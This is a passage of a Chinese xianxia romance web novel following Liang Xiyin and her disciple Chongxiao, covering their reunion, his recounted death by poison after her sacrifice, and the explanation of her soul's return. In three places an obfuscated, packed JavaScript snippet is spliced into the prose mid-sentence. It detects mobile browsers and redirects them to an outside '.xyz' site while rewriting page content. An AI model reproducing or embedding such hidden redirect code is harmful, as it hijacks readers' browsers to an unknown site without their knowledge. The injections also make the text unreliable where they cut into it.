“好端端的,怎么尽说些不吉利的话。”梁惜因微微蹙眉,转身面对他。 “...弟子知错。” 梁惜因在椅子上坐下,注视着他:“那你说说,错在何处?” “错在不该欺瞒师尊,明知师尊记忆有失,却还大逆不道地做出了那些举动。” “咳,还有呢?” “错在此番将师尊也牵扯进来,让师尊无法回宗。” “嗯,还有?” “错在师尊为弟子筹谋良多,弟子却没明白师尊的苦心,没能护住师尊。” “停。”这都扯到哪去了,梁惜因毫不怀疑,她要是再问下去,重霄怕是能说出上百条来。 她轻叹一声,站起来向前走了几步,蹲下身子与他平视:“你错就错在,太不把自己当回事了。” 重霄眼睫微颤。 想起二人先前的那些事,梁惜因这会开始后知后觉地难为情起来。彼时她记忆尚未恢复,说话做事也无那般多的束缚。可眼下有一个不可回避的问题横亘在他们面前——她是师,而他是徒。 两百多年前,在她刚收到重霄所赠的耳坠之时,心中无疑是惊讶的。耳坠寄情,当时她并不确定重霄是否知晓这层含义,但她心中的某些情意却逐渐明晰。这份情无疑是不合常理的,天底下哪有师尊会对自家徒弟动心的?简直是闻所未闻。 可那又如何?喜欢就是喜欢,无关身份。 世人会说魔尊重霄丧心病狂,会说她心慈手软、是非不分。可世人的眼光,当真有那么重要吗?她从未想过自己能再回到这世间,但既是回来了,她便只想遵从自己的本心。 她抬手轻抚上他的面颊:“就这般不相信我是真心喜欢你?” “我...”心脏剧烈跳动着,重霄蓦地想起两百多年前的那个吻。 她吻得太轻,以至于重霄时常怀疑那一切不过是他的幻觉。他想问,又不敢问,就算当真是幻觉,他也愿日复一日地沉溺其中。 梁惜因将手指抵在他唇边,止住了他未说出口的话,“我喜欢的...只是阿霄,与你的任何身份都无关。” 墨色的瞳孔中翻滚着汹涌的情绪,重霄怔怔地凝视着面前的心上人,时间似乎都停止了流逝。他一遍又一遍地理解着这些字句,仍旧是难以相信。在回忆起了一切后,她当真还愿意接纳他? 自被带回玄晖宗起,他总是跟随在梁惜因身后,日日复年年。在凡间流浪的那些日子,他最为渴求的,便是能同其他小孩一样,有一个家。后来愿望变成现实,他却又想要更多—— 他奢求着能离那道背影近一些,再近一些,近到能伸手将她揽入怀中。可等真正到了这一日,他却是说不出话来。喉咙像是被堵住了,他放缓了呼吸,就如不忍惊扰一场美梦。 梁惜因被他盯得双颊发烫,刚刚的那番话已暂时将她的勇气耗尽了。她复又站起身,目光飘忽:“好了,还跪着作甚,真想让我罚你啊?” 重霄已快要无法思考了,只是顺从地依着她的话站了起来。 空气静默一瞬,蓦地,他将人抱入怀中。他抱得是那样紧,像是要把这两百多年的分离与爱恋,都融进这个拥抱中。 “阿因,阿因...” “在呢,我在呢。”梁惜因一声声地应着。 下一瞬,她的双唇就被一片温热含住了。 重霄吻了下来。不似前几次的亲吻,总是克制中带着小心翼翼,他吻得极深。唇齿交缠,气息相接。 梁惜因从最初的承受,再到后面慢慢回应着他,脑中逐渐昏沉起来。自己是如何喜欢上重霄的?她迷迷糊糊地想着。 是日日夜夜的陪伴与笑语,是每日从不间断的点心,是为她雕琢首饰而伤痕累累的双手,是在凡间料理异象时总是挡在她面前的身影...又或许只是某个再平凡不过的午后,他站在梨花树下,轻轻唤了她一声——“师尊”,阳光给他整个人都笼上了一层毛绒的金边。从那时起,一切就都不一样了。 话音落下的那一刻,莹白的梨花瓣落于他发间,彼时岁月温柔。 或许自大遗野相遇时起,他们便注定会相伴相知,直至相爱。 梁惜因有些喘不上气,轻轻推了推身前之人。重霄停下动作,稍稍拉开了些距离。 此时的梁惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913346|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因面色通红。重霄注视着她,又将脑袋埋入她颈窝,感受着她身上的温度。 “喜欢阿因,喜欢你...”他不断呢喃着,宛若乍得到自己心爱之物的幼童,半是欣喜若狂,半是难以置信。 梁惜因抚着他的发丝,心情像是早秋的青柿,甜中带涩。 两百年,说长不长,说短不短;世事变迁,物换星移。重霄的声音慢慢带上了些哽咽:“对不起,对不起...” 梁惜因知道他指的是哪件事。她向后稍退了退,直视着重霄的双眼,肃了神色道:“那是我自己做出的决定,不怪任何人,也与任何人无关。” 从一开始,她布下的就不是什么玄天封魔阵。 秘境一事后,她可谓是不眠不休地翻找着古籍,好歹也是有了些收获。古籍有载,三百年前,天降大雨,连绵月余。当时又正值兵灾后的荒年,淹死的、饿死的、病死的百姓不计其数,怨气横生,渡不尽除不绝。 在众仙门束手无策的情况下,一名大能挺身而出,以自身的所有修为度化了绝大部分怨气。 ...用修为度化吗?梁惜因清楚,各门各派之所以对重霄如此忌惮,很大程度上便是因为他体内的怨气。这些怨气盘桓于重霄体内,实力强劲不说,还极为难控。一旦它们彻底占据了这具身体,届时必将伏尸千里、血流成河。 可若是他体内不再有这些怨气呢?或是他能完全控制它们呢? 她又翻阅了很多书,却没再找到相关记载。无妨,既是没有记载,那她便亲自为这书册添上一笔。 所有关于阵法的古籍都被她堆在了落雪轩内,没日没夜地查阅、试炼、失败,再试炼、再失败......最后,她将目光锁在了玄天封魔阵上。 大战之日,她在山前布下了被她修改和逆转过的玄天封魔阵。原本此阵的效力集于一人,阵成后便会不断摧磨此人的修为与神魂,以至魂飞魄散,再无往生可能。 经她所改后,阵法的效力便会反过来集中在她这个主阵人身上,再将她与重霄相连。她用自己的灵力与这一身修为,去护住重霄的心魂与筋脉,保他再不受怨气的侵扰,能自如地掌控怨气。 哪怕沧海桑田、轮回有常,她的灵脉与修为,都将与他紧紧相连。 她愿用这一条命,去换他的新生,去换世间的安宁。自那以后,重霄与怨气,便是真正的融于一体。 弥留之际,她的思绪飞回到了很多年前。那时她方继任峰主之位,门下仅有常谧一个弟子。她问梁惜时,如何才算是一名好师尊? 阳光勾勒着梁惜时的面容,他笑着答道:“身为师尊,不论座下弟子资质如何,最为要紧的,便是护他无虞。” 她这一生只收了三名弟子。大弟子沉默寡言,总是将一切事都藏在心里;二弟子重伤濒死,至今未归;三弟子怨气缠身,受天下人唾骂。 她知道自己做得远远不够好,甚至很是差劲。是以总想着为他们多做一些,再多做一些。 如此,作为师尊,她勉强也能算是合格吧? 在阵成之前,梁惜因并不知晓最后的结果究竟会是如何,她在赌,赌她会赢。 可阵法明明布成了,又为何会有第二次仙魔大战?重霄又是为何...会为他们所害? 85. 爱恨 “阿霄,我走之后,究竟发生了何事?”梁惜因肃了神色。 重霄眼睑轻垂:“师尊...当真想知道?” “嗯,”梁惜因揉着他的脸,又补充一句:“别想骗我。” 重霄扬唇轻笑,低头在她唇上吻了吻:“好。” 重霄很少回忆那段时日。每当那副场景再次出现在脑海中,他都觉锥心刺骨的痛,岁月无言流逝着,此痛却未减分毫。 漫天的金光与厮杀下,他怔愣地抱着梁惜因慢慢冷却的身躯,心口像是被硬生生剜去一块,空荡荡的。 阵成后,金光散尽,所有人都看清了山脚的景象。他耳边传来了支离破碎的语句。 “阵、阵没布成,梁含盈死了!” “怎么会...是魔尊,定是魔尊从中作梗!” “含盈仙子一手将他带大,他怎么下得了手的!真是忘恩负义、禽兽不如!” 重霄眸光轻转。 他看见魔族敬畏地望着他,看见众修士交杂着仇恨与忌惮的眼神,看见梁惜时被两名修士搀扶着,口中涌着鲜血,看见白日悬于空中,白得苍凉,白得刺目... 梁惜因,他的师尊,他的心上人...死了? 他将手指轻轻搭在梁惜因的前额,却什么都没有感知到。她死了,神魂俱灭。 ......不,怎么可能。他不相信,他不相信...他不相信! 悲痛与怨恨侵占了他的全部心神,周身的怨气像是得了鼓舞,骤然疯涨起来,天地黯然。重霄的身影在肆虐的黑雾中忽隐忽现,他缓缓抬眸,眼中是一片死寂。不是修罗,胜似修罗。 张掌门惊恐万状地大喊:“撤!快撤!” “可含盈仙子还在他手中,还有郭掌门之仇...” “命都要没了,还管那么多作甚!” “张掌门,不能撤,”谢既微拦住他,疾言厉色道:“这怨气足以覆蔽千里,若是你我就这么走了,百姓怎么办!” 张掌门一把将他推开,神色焦急:“百姓百姓,他们迟早都是要死的,怎么能和我的命比!”下一瞬,他的身躯就被怨气贯穿,从长剑上跌落了下去。 修士们根本无暇震惊,汹涌的黑雾铺天盖地地袭来,夹杂着万鬼的嚎哭与尖啸,将他们冲做一盘散沙。不断有修士从半空中坠下,怨气化作的厉鬼将他们的躯体啃噬得千疮百孔。 “阵修呢!阵修何在?!快布阵!” “救命,救命,我不想死...别杀我...” “别打了,快撤!” 一片混乱。但重霄已是什么都听不见了,他从未觉着那些修士是如此面目可憎。是战是止,皆在他的一念之间,他却只是放任着这些怨气肆意屠戮。也只有杀戮,才能宣泄他心中这么久以来的愤恨,才能暂且压下那几要将他撕成两半的哀痛。 这是他第一次如此失控,也是最后一次。 等意识清晰过来时,他面前已是空无一人。怨气被他收拢,它们乖巧地蛰伏在他体内,随时准备依他的命令而动。 斜阳散着血色,将地面上蜿蜒的血水映得更是鲜红。周遭草木皆枯,千里荒芜。 众魔族聚在他身后,这场由修仙界发起的大战,以魔族的大获全胜而告终。可此时他们却无一魔敢出声相庆。 最终还是闻影在众魔的推搡下站了出来,他轻手轻脚地走到重霄身侧,低声问:“老大...回山吗?” ...回山?回哪座山? 他看向怀中的梁惜因,她的面容是那般平静,好似随时都会再次睁开双眼,对他露出一个清浅的笑容。他缓缓站起身,双腿麻木酸痛,但他走得很稳,就这么横抱着他死去的爱人,一步一步,向山顶而去。 众魔沉默地跟在他身后。赤日遁地,永夜吞光。 此后不知过了有多久,重霄一直待在山顶的洞穴中,无言地倚偎着那具冰棺。 闻影一开始只敢在洞穴外徘徊,后面胆子渐渐大了起来,重霄不准他靠近冰棺,他便寻了一处角落蹲着,喋喋不休地说着近日的见闻。 “苍梧宗又在选新掌门了,一连选了好几日都没选出来,根本就没人敢当,一群窝囊废。” “那些个门派这几日在统计伤亡,玄晖宗损失还挺重的。因着他们撤得最晚,确保不会波及百姓后才走。” “老大,跟你讲个好笑的,那些个狗屁门派竟然又开始准备第二次大战了。我看他们是这一次还没被打够,上赶着来送死。” 不论他说什么,重霄的神色都是淡漠的,他总是低垂着头,看向指尖缭绕着的几缕怨气,眸色沉沉。闻影不知道他在想什么,他也不在意,不管重霄听没听进去,反正他说是说过了。 他知道冰棺中躺着的是玄晖宗的含盈仙子,可他不明白,魔尊为何会如此宝贝一个想要杀他之人。况且这人死都死了,留着具尸体又有何用?还能将人守活不成? 不过这些话他也只敢在心里想想了,真要说出来,一百条命都不够他死的。 这日,一道黑影和往常一样飞进了洞穴,又在落地的瞬间化作一名少年:“老大老大,玄晖宗又跑来要人了,就在山脚下。” 他原以为重霄还是会不做答复,正准备下山叫他们滚,就见重霄突然站起了身。闻影一喜,屁颠屁颠地凑上前去:“老大,有何吩咐?” 在看清重霄的神情后,闻影愣了愣神。他在这世间奔走,见过的人也不在少数,却还是头一回在一个人脸上见到这种神色——那是一种深不见底的绝望。 重霄墨色的瞳孔中渗不进一丝光亮,他嗓音沙哑地吩咐道:“守好洞穴,别让旁人进来。” 等重霄踏进他开的阵门后,闻影才回过神来,后知后觉地应声道:“是!” 洞穴中传来他的回声,蓦地,闻影心中升起一抹不安。 重霄没告诉他去了哪,闻影却在不日后听闻魔尊擅闯悬济谷,逼着须发皆白的老谷主炼制不死药。传闻不死药有起死回生之效,但传闻终究只是传闻,现实中根本无人能炼制出来,甚至连见都未曾见过。 老谷主被他吓了个半死,悬济谷的一众医修哭爹喊娘,各种珍稀灵植不要钱一样的往他面前送,才总算是把人送走。 而重霄回来后,便将自己彻底封闭在了洞穴中,不许任何人进入,包括闻影。闻影每日在洞外急得团团转,他不知重霄要做什么,但心中的不安却是愈来愈重。 不久后,修仙界各门派再度聚于漆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918833|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴山下,直言要为死去的修士复仇。此次他们的阵仗之大,重霄在山顶上都能听见动静。 他没有下山,甚至都没有出洞穴。只是站在棺前,无比眷恋地注视着棺中恬静的面容。他曾无数次渴望着能离她再近一些,渴望着她能为他停留。却不曾想这愿望竟会以这种荒谬的方式实现。 这些时日下来,他心中的痛楚并未缓解分毫,稍微一碰便是鲜血淋漓,可他已是连一滴泪都流不出了。唇角勾起一抹苦笑,他伸出手,轻柔地抚摸着梁惜因冰冷的面庞,也只限于面庞。他不敢做更多,怕会惹她不高兴,怕她甚至会不愿意来梦中见他。 胸口涌上剧痛,那是他方才饮下的毒发作了。 与痛意并发的,是交杂的爱恨。他爱她,无法言喻地爱着她;他也恨这天道不公,恨自己什么都做不了。这些日子,他待在这洞穴中,用尽了一切办法想要救活梁惜因,可这世上没有任何办法能救回一个神魂俱散之人。 不论重霄愿不愿意接受,这都是事实。 他累了,心爱之人已然离去,只余无止境的纷争,他已没什么好留恋的了。心口的疼痛蔓延至全身,他渐渐站立不住,倚着冰棺坐了下来。好痛,她布阵的时候,也是这般痛吗?可他却无法帮她分担丝毫,甚至这一切就是因他而起。 脑中的画面飞速闪动着,每一幕都是他与梁惜因相处的点滴。 他这几日时常会想,若是当初梁惜因没有遇见他,她此时应还在天璇峰任峰主,管着几个徒弟,不时下山买些点心,再回去整理前辈大能留下的阵法书册。平淡,平安。 可惜没有如果。 闻影焦急的喊声传进他耳中,重霄依然没有放他进来。他已布好了封山大阵,如今怨气对他来说已与灵力无异,待他身死之后,他体内的怨气便会注入到阵法当中。 魔族的数量本就远远比不上人族,其中大部分又都聚于漆吴山中。梁惜因走后,他布下的阵便再无人能解。届时人魔两族将会以此为界,互相侵扰不得。这荒诞的仙魔纷争,也该收个尾了。 第一次大战时,他无力掌控怨气,便用自身的所有灵力围绕着漆吴山布下了禁锢阵。若他当真死于那时,他体内的怨气便会被困于禁锢阵内,成为阻隔漆吴山与外界的屏障。他深知这样的屏障支撑不了多久,不到百年必然瓦解,但到底是能撑一段时间。除此之外,他已是别无他法。 额头上渗出细细密密的汗珠,他控制不住地吐出一口血来,鲜血与他的玄衣融为一体,重霄心中竟是生出了几抹快意。他已是有一段时日没感受过这般刺骨的疼痛了,这疼痛令他感到熟悉,感到安心。 毕竟从他幼时到现在,似乎也只有疼痛一直未曾离开他。 视线逐渐模糊,重霄用最后的力气布下了一道传送阵,将梁惜因的冰棺送回了天璇峰。她这般皎洁的人,不应同他留在这阴暗逼仄的洞穴中。 洞穴重又变得空荡无比,重霄仰面躺在冰凉的地上,恍惚间似是听到有人在唤他—— “阿霄。” 一道模糊的白色虚影浮现在他眼前,重霄知道那是谁。他唇角微扬,慢慢闭上了双眼。他要去等一场重逢,一场不知何日才会发生,甚至可能永远也等不到的重逢。 86. 因果 那是他最痛苦的一段时日,此刻与梁惜因说起,重霄不过是轻描淡写地捡了些片段。 即便如此,梁惜因也还是红了眼眶:“你个傻子...” 重霄揉搓着她的发丝,温声道:“无妨,只要这世间还存有怨气,我便不会真正死去。所以阿因,别难过。” 梁惜因满目心疼:“我知道,可...一定很疼吧?” 这世上也只有她一人会问他疼不疼。心中像是涨起了一池温暖的春水,重霄笑道:“都过去了。”只要能再遇见梁惜因,一切都值得。 重霄与怨气相连相生,所以能随着怨气的增多与积聚而重回于世。可问题是...她是怎么回来的?又为何会变成梁府的四小姐?照理说来,阵成后她就已是魂飞魄散了,连往生的可能都没有。 梁惜因神色几经变幻,这些问题,怕是也只有那位才能解答了。 - 卜星阁,问天居。 梁惜因和重霄刚走至门前,刻着玄秘纹样的红木门就自动打开了。二人对视一眼,同时迈步踏了进去。 “聊完了?”玄仪子头也没抬地问道。他坐在一张檀木椅上,半个身子都趴在了面前的长桌上,正把玩着手中的几根竹签。 梁惜因清了清嗓子:“是啊,聊完了。” “聊完就行。”他随手将竹签扔在地上,发出“啪嗒”几声轻响。 梁惜因:“......”算了,这房间已经够乱了。 她与玄仪子相交多年,来他的住处却还是头一回。不大的房间内,窗户就已占了大半面墙,不时有风吹进来,拂动了窗檐下挂着的几串风铃。墙角处立着排巨大的书架,其上的书册以各种姿势挤在一起,或斜或躺,难得有几本好好立着的。地面上更是横七竖八地躺着各种小玩意,铜钱、纸团、笔筒...什么都有,险些让他们二人连下脚的地方也无。 玄仪子似乎并不觉着这有什么问题,或者说根本不在意。他示意两人坐下,笑眼弯弯地说:“我知道你们要问什么。” 梁惜因并不意外:“还请前辈解答。”她道。 玄仪子打了个哈欠,懒洋洋地开口说:“含盈,你可知梁惜时为何会在仙魔大战后修为尽失?” “不知。”心跳逐渐加快,梁惜时没有修为她看出来了,可他却像是在有意回避这个问题,从见面到离开,一直没有给她问出口的机会。 玄仪子又问:“那你又可知,你这身修为是怎么来的?” “前辈是说...”是了,平野归虚阵破后,她的修为就恢复得几与两百年前无异,可她一身的修为分明早散给了重霄。 重霄在桌下握住了她的手,他手掌冰凉,让梁惜因慢慢平静了下来。 “是,也不是。”玄仪子不知又从哪摸出了把铜钱,放在掌心一下一下地抛着,“当时改了阵法的,可不止含盈你一人。你主动提出要布玄天封魔阵,他心中估计早就起了疑。阵法落成的那一刻,他应是也看出了阵纹不对劲,反手就布下了个心护阵。” 心护阵,用布阵者自身的灵力去护下一样东西。 用在重霄身上的,只是梁惜因的修为与灵力。她之所以会神魂俱散,还是由于她布下的大阵。 玄天封魔阵之所以没有被广泛使用,不仅是因为此阵极难布成,更是因为此阵太凶,毫无余地。若非惩处罪大恶极之人,极少有修士会想到动用此阵。而此阵被她逆转后,凶性未减,只是从入阵者转移到了布阵者身上。凡有所求,必有所失。神魂灭尽,便是她借此阵护住重霄所要付出的代价。 “即便如此,也怕是难敌玄天封魔阵的凶性...”梁惜因喃喃道。 “不错,他哪怕耗尽了自己这一身的修为,也仅是护下了你的部分神魂。”玄仪子不急不缓地说着。 梁惜因从半空落下后,其余几名护阵人也顿时乱了阵脚,慌忙扶着吐血的梁惜时回到了众修士中。唯有玄仪子还一直留在原处,他在等一个契机。 幸运的是,他等来了,或者说,他们等来了。如他所料,巨大的冲击下,重霄心绪不稳,体内蕴藏的怨气骤然释放出来。同一时刻,他从乾坤袋中取出了千虚镜。 千虚镜是卜星阁的镇阁之宝,自第一任阁主流传至今,却几乎从没再使用过。原因无他,千虚镜中连接着诸多时空,其启用需要极大的能量,而近几百年来,灵力愈渐稀薄,根本不足以支撑千虚镜的运转。 灵力不行,怨气却可以。 重霄体内积聚的是在这世间游荡多年的怨气,眼下全部释放出来,所蕴含的能量是不可估量的。他手中巴掌大的铜镜嗡鸣着,镜面上不断闪烁着交错的时空。 机不可失,他口中念着引魂诀,将梁惜因所剩的神识尽数引来。再神识被纳入的那一刻,整面镜子骤然散发出莹白的光亮,下一瞬,又重新躺回了他的掌心,仿佛一面再普通不过的铜镜。 玄天封魔阵凶就凶在,凡是被此阵盯上的神魂,无论逃逸到这世间的何处,都会被重新吸入阵法中,再慢慢消亡。除非找不到,阵法才会自动失效。梁惜时也正是将那一部分神魂藏在了心护阵中,才使得其没受玄天封魔阵的影响。 玄仪子微微眯起眼,盯着手中的小铜镜,也不知含盈的神识去往哪处时空了。但不论哪处,她都会回来的。她的神识属于这里,虽在千虚镜的作用下去往了别的时空,但也只能轮回一世。 一世过后,她便能回家了。 只是轮回往生本就需要时间,不同时空的时间流逝也不尽相同,这一去,不知要多少年才能再回了。 因已经种下,接下来所能做的,便是去等待结下的果。 “原来如此...”她原以为的机缘巧合,竟是在好几人的推动下实现的。梁惜因动容地道:“含盈多谢前辈。” 也难怪她在现世是那般体弱多病。她体内的神魂,本就是残缺不全的。 “诶,谢我做什么,”玄仪子摆了摆手,“不如去好好谢谢你哥还有你身边这位,我一开始也只是想试试运气,能帮自然是要帮的。” 重霄心念微动。彼时他万念俱灰,恨不得杀尽面前那些满嘴正义的修士,却不曾想此疯狂之举竟是给了梁惜因新生的机会。 可能在冥冥之中,一切早有注定。 梁惜因抿唇笑了笑,接着问道:“那梁因又是...?” 玄仪子凝视着她的双眼,向后仰靠在椅背上:“含盈,这世上生灵万千,没有一条生命会无故出现,自然也没有一条生命会彻底消失。你那一部分神魂经心护阵这两百年来的滋养,其中一些已有了从阵中脱离的能力,并投生成了梁因。这也是为何她生来痴傻,她体内神识极少。直至你在另一个时空身死,才方得清醒过来。她便是你,你也便是她,你可明白?” 梁惜因点头:“晚辈明白。” 玄仪子又补充道:“心护阵防的是外界的破坏,却不会阻止阵中神魂逸出,是以除非里头的神魂全部脱离,心护阵自动失效,梁惜时都察觉不出异样。那些先后从阵中脱离的神魂会慢慢融于一体,等到阵法真正失效,你的神魂也就完全养好了。所以啊,就算我不用千虚镜,含盈你的神魂也能恢复,只不过那就说不清要等多少年了。” 此外还有一些事,不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926803|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄仪子细说,梁惜因也能想明白。她在回来后一直没有此前的记忆,直到平野破阵。当时场面混乱一片,她也无暇细想。现在思来,那确是心护阵没错。 梁惜因面上带着笑,眸中却透着哀伤。从小到大,她没有一件事能瞒得过梁惜时。她早该想到的,哪怕她在最后几日刻意避着他,但身为血脉至亲,她或许表面上能骗得过他,却瞒不过他的心。 修仙界人人都说,她是几百年来最具天赋的阵修,但从最开始,她的阵法是由梁惜时教导的。可能从她操纵阵盘时起,梁惜时就察觉出异样了。他散尽全身修为,也只为护她一缕神魂无恙。 与心护阵一同布下的,还有一道符阵,以防有人蓄意破坏。 心护阵是需要滋养的。两百多年来,梁惜时的修为之所以会毫无增长,便是因为他将灵力都拿去维系阵法运转了。这些灵力长久地蕴于阵法中,养护着她的神魂,又与神识一同归于她体内。 所以说到底,此时她体内运转着的丰沛灵力,都是梁惜时的。一人的灵力待在另一人体内,多多少少会受到排斥,只有血脉相连的至亲不会。 他日复一日地等着她回来,这一等,就是两百年。 梁惜因将泪意压了回去,她不是个好师尊,也不是个好妹妹。所幸现在,一切都还有弥补的机会。 梁惜因平复着情绪,再次看向玄仪子:“将阵法从漆吴山前移至平野,也是前辈让他这么做的?” “不错。”玄仪子挺直了小身板,“我当时就算出来,平野之上,会有一场机缘。” “果然还得是玄仪子前辈,当真是无所不知神机妙算。”梁惜因配合地说。 玄仪子整张脸都扬起来了:“那自然。” “不过这阵法要移也只能一起移。梁惜时布下的两重阵法之上还有一重阵修布的封印阵,镇压着一部分当时四溢的怨气。怨气强悍,这阵顶多就能撑个百年,能维系这么久还是因为有你的神魂在。” 三阵交叠,难免会彼此影响。在梁惜因的神魂和梁惜时灵力的作用下,这些怨气不敢有所动作。后来又有人在其上布了一重归虚阵,归虚阵破后激起的将士们的怨气,触动了更深处的心护阵与符阵。而在这些阵法都消解后,怨气没了压制,争相涌了出来,又尽数被重霄给纳入体内。 “不过有一事我还真不明白,”玄仪子挪了挪位置,盯着重霄问道:“你又是怎么死的?” 他话问得直白,眼中有的只是纯然的好奇。 重霄面含笑意:“服毒,自尽。” 玄仪子躺回椅子上:“我就说。”不然这世上有谁能杀得了他? 第二次大战时,他们卜星阁纯粹是去走个过场。两方互骂声不断,他寻了处角落待着,一边觉着好笑一边寻思着昨夜的异象。昨夜大星陨落,恐有大能逝世,只是不知,这位大能会是谁... 他正百无聊赖地思索着,却见山顶上猝然散出了浓稠的黑雾,比黑雾出现的更突然的,是那名唤闻影的小魔族的哭喊声:“不好了!魔尊出事了!” “你说清楚点,魔尊怎么了?!”立马有魔族问他道。 “魔尊他...”闻影哭得上气不接下气,完全顾不上自己此时身处何时何地了,“...死了。” 一语如同惊雷响在众人耳畔。震惊过后,玄仪子长叹一声,这般直言不讳,魔族怕是难逃一劫了。 果然,下一瞬,没了顾虑的众修士猛然发动进攻,却又全都被阻挡在了山前。 半空中浮现出黑色的阵纹,从上至下,笼罩了整座漆吴山,犹如一道不可逾越的鸿沟,划开了人魔两界。 87. 真相 此后再提起那场大战,修仙界中只有一种说法,那便是经众修士将生死置之度外的英勇作战,才终是杀死了魔尊重霄,还世间一个清明。 假的说多了,就会变成真的。后人无不对这一说法深信不疑,任由真相逐渐被岁月深埋。 “好了,都说完了,”玄仪子伸了个懒腰,“接下来去哪,你们想好没有?” 梁惜因很快回道:“皇城,陆府。” 玄仪子与她对视一眼,露出心领神会的笑意:“如此,我便再与你们算上一卦。” 他从袖中取出阴阳八卦甲,往日里被他用作坐骑的龟甲此刻只有巴掌大小。掌中一直把玩着的几枚铜钱被他掷于龟甲之中,他晃动着龟甲,姿态很是随意。几下过后,他将铜钱从龟甲中倒出,一字排开。 如此反复六次后,玄仪子一双眼睛笑得弯成了缝,语调上扬:“乾卦,大吉。” - 夜深后,梁惜因和重霄离开了卜星阁,开了一道阵门来到了皇城陆府。 偌大的皇城一片寂静,陆府更是如此。月亮被云层遮挡,院中一丝光亮也无,阴风入户,将窗扇吹得吱呀作响,似乎有无数道哀哭响在耳畔,不禁令梁惜因感到了一丝寒意。 重霄牵住她的手:“阿因。” 寒意顿散,梁惜因燃起一道火符,侧首对他笑道:“走吧。” 火符明灭,成为府中的唯一光源。梁惜因循着记忆往正房中走去。一路上杂草丛生,家具上落满了灰尘,不时有老鼠从他们脚下窜过。 昔日主管皇城的修仙世家,如今竟是萧索破落至此。 正房内,床板碎成两半,窗户坍塌着,地面上满是花盆碎裂后散出的土。他们当初走时房内是什么样,此刻就还是什么样。 当初为举办葬礼,陆府的正厅和院落都被重新修葺过了。至于里面的房间是何样,无人在意。 地面上的尘土和花盆碎片被重霄用怨气清扫开,梁惜因走至窗边,鼻尖那股隐隐的臭味愈来愈浓烈。她蹲下身子,望向臭味的源头。 那是一丛外貌平平无奇的小草,叶片细长,绿中泛黄。只有通体淡蓝的幽光在昭示着它的不同寻常。 梁惜因松了一口气:“太好了,还活着。” 这草名唤聚灵草,是修仙界中一种珍稀灵植,能聚魂养灵。白日里聚灵草就与一般的杂草无异,而一旦到了夜晚,它就会散发出莹蓝的光亮,同时伴着一种说不上来的臭味。是以一般没有修士会将其放在房内养着,尤其是晚上。 上次来时,梁惜因便觉奇怪。现在想来,寄生在陆闻朔体内的冥龟子可能根本不在意这些,甚至不觉着这是种臭味。只是彼时梁惜因记忆尚未恢复,也不知这是何种灵植。 如今她再回到陆府,就是特意来察看这聚灵草是否还活着,其上又是否附着陆闻朔的一缕残魂。好在这聚灵草生命极为顽强,哪怕在当时被只顾逃命的冥龟子打翻在地,它也依然存活了下来。 梁惜因敛眸,用灵力探查着聚灵草,白芒与蓝光交织在了一起。少顷,她睁开双眼,喜道:“有!” “现在就布阵吗?”重霄问。 梁惜因点头:“嗯。” 她小心翼翼地将草叶上附着的残魂引到一张养灵符上,在灵力的作用下,符纸慢慢升至半空。道道灵力在陆府中纵横着,又化作精密的阵纹,顷刻之间,一道以养灵符为阵眼的回溯阵便布成了。 与此同时,重霄也给整个陆府布下了隔绝阵,以防此间动静引来那群草木皆兵的修士。 养灵符上光华流转,一道半透明的画面缓缓在空中凝聚成形,梁惜因连忙又在周遭布下了几张留影符。回溯阵以人的神识与执念为契,能再现出此人一生中最难忘的记忆。 画面慢慢从模糊变得清晰,最先浮现的,是祝轻云柔美的面容。梁惜因有些意外,随即又觉这实属情理之中。 养灵符中仅有一抹残魂,是以画面忽明忽暗,内容并不连贯,但无一不与他的妻子祝轻云有关。笑着的祝轻云、吹笛的祝轻云,身穿嫁衣的祝轻云... 梁惜因偷摸瞥了眼重霄,却发现重霄也正看着她,眸色温柔,不知看了已有多久。梁惜因慌忙将视线移开,平复着乍然变乱的呼吸,正事要紧,正事要紧。 恰在此时,画面的内容又变了,白元绪的身影出现在其中。梁惜因凝神,她一直觉得白元绪有问题,眼下证据终是出现了。 画面中的白元绪神情惊愕,缓缓低头看向胸前的符纸。下一刻,符纸从他身上脱离,飞到了这段记忆的所属者——陆闻朔手中。 黄色的符纸泛着丝丝缕缕的黑气,陆闻朔的惊愕并不比白元绪少,愣了几息才说:“元绪,你当真...入魔了?” 任何辩驳在这张引气符前都是苍白的。白元绪身形晃了晃,神色晦暗难明。下一瞬,他竟是直接跪了下来,无不真挚地说:“陆家主于我有知遇之恩,我却因一时糊涂,做出此等令万众不耻之事,是我有负于陆家主深恩!” 